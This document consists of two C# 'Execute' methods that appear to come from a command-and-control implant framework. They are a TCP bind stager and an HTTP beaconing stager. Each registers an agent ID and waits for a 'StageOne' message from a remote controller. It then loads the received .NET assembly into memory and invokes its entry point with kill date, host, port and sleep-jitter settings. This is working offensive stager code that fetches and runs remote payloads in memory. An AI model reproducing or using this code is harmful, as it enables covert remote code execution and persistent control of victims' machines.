public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new TcpCommModule(BindAddress, BindPort); commModule.SetMetadata(AgentID); commModule.Start(crypto); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message) == true) { if (message.Data != null && message.Data.Command.Equals("IncomingLink", StringComparison.OrdinalIgnoreCase)) { commModule.SetParentID(Encoding.UTF8.GetString(message.Data.Data)); commModule.QueueStageRequest(); } else if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); var parentID = commModule.GetParentID(); type.InvokeMember( "TcpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, parentID, KillDate, BindAddress, BindPort }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }
public static void Execute() { AgentID = Misc.GeneratePseudoRandomString(8); var crypto = new CryptoController(); try { var commModule = new HttpCommModule(ConnectHost, ConnectPort, SleepInterval, SleepJitter); commModule.SetMetadata(AgentID); commModule.Start(crypto); commModule.SendStageRequest(); while (StagerStatus == StagerStatus.Staging) { if (commModule.RecvData(out AgentMessage message)) { if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase)) { StagerStatus = StagerStatus.Staged; commModule.Stop(); var asm = Assembly.Load(message.Data.Data); var type = asm.GetType("AgentStage"); var instance = Activator.CreateInstance(type); type.InvokeMember( "HttpEntryPoint", BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod, null, instance, new object[] { AgentID, KillDate, ConnectHost, ConnectPort, SleepInterval, SleepJitter }); } } } } catch (Exception e) { Console.Error.WriteLine(e.StackTrace); } }